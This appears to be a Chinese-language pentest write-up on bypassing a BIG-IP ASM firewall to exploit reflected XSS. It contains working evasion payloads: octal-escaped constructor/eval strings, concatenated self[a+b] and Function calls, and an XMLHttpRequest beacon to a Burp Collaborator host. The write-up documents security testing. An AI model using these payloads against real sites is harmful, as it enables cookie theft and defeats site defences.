繞 waf 實戰之 xss 漏洞利用
在一次測試中,遇到一個可以利用 XSS 的點,但是存在 BIG-IP ASM 防火墻,導致無法直接利用,在大神的幫助下完成了利用。隨后經過自己的努力,也找到了一種繞過方式。
0x01 XSS 漏洞發現
測試中發現一個接口,參數 PAGEURL 可控,且輸入的內容會原樣響應在返回包中,如圖:

響應包如圖:

測試常規 payload 被 WAF 攔截,如圖:

響應包:

可以看到被 WAF 攔截。
0x02 WAF 繞過
在這個點上測試了一天都沒能繞過,在以為專注 WAF 繞過研究的大神幫助下,發現一個可用的 Payload,長下面的樣子:
[]["\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162"]("\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51")()
老實說,長這個樣子的 payload 我也是第一次見,解碼后的內容是:
[]["filter"]["constructor"]("alert(1)")()
接下來使用這個 payload 進行測試,如圖

響應如圖:

可以看到 payload 都已經出現在響應包里,但是是否可以執行呢?使用瀏覽器打開這個 URL:
https://subdomain.redacted.com/...?PAGEURL=/something/";[][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)();var+test="

發現代碼已經執行了,說明 payload 有效。
漏洞利用
當然,我們并不會滿足于只是彈窗,接下來如何利用這個漏洞才是重點,首先基于 payload 的生成規則,編寫了一個 Python 腳本,方便構造不同的 payload:

腳本使用方法,輸入想要注入的 payload 即可:

XSS 通常用來盜取 cookie,接下來我嘗試使用 XMLHttpRequest API 結合 burp 來進行漏洞利用的驗證,將下面的 payload 進行轉換:
var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net/xss",true); req.send(null);

然后將 payload 與 url 進行組合然后請求,查看 burp 的訪問記錄:

說明 payload 執行成功。
自我突破,新姿勢
之前的 payload 是大佬給的,能不能自己實現一個繞過呢?看了一些 waf 繞過的資料后,發現以下 payload 可用:
a=”al”;b=”ert”;self[a+b]();
嘗試是否可以繞過:

響應:

發現 waf 并沒有攔截,嘗試用瀏覽器打開頁面,成功彈窗:

當然,利用 xss 不僅僅是彈窗,還是需要執行更復雜的功能,我們可以使用 Function 函數,構造的 payload 如下:
a=”Fun”;b=”ction”;c=”ev”;d=”al(a”;e=”tob”;f=”(‘YWxlcnQoMSk=’))”;self[a+b](c+d+e+f)();
請求之后的返回結果:

瀏覽器訪問之后執行 payload:

接下來想要執行更復雜的 payload,只需要修改 base64 編碼部分即可,所以編寫了如下腳本:

比如之前提到的利用 burp 驗證:

提交之后返回結果如圖:

瀏覽器訪問之后,在 burp 得到如下結果:

值得注意的是,self[""] 被攔截,但是 self[a+b] 沒有。
總結
以上是這次針對存在 waf 的 xss 漏洞接口的繞過測試過程,通過一些 JavaScript 的特性,通過字符串變化、編碼等方式組合 payload 從而實現 waf 的繞過,waf 通常是通過正則來進行檢測和攔截,如果你找到了目標 waf 規則之外的方式,那么,恭喜你,waf 對你無用。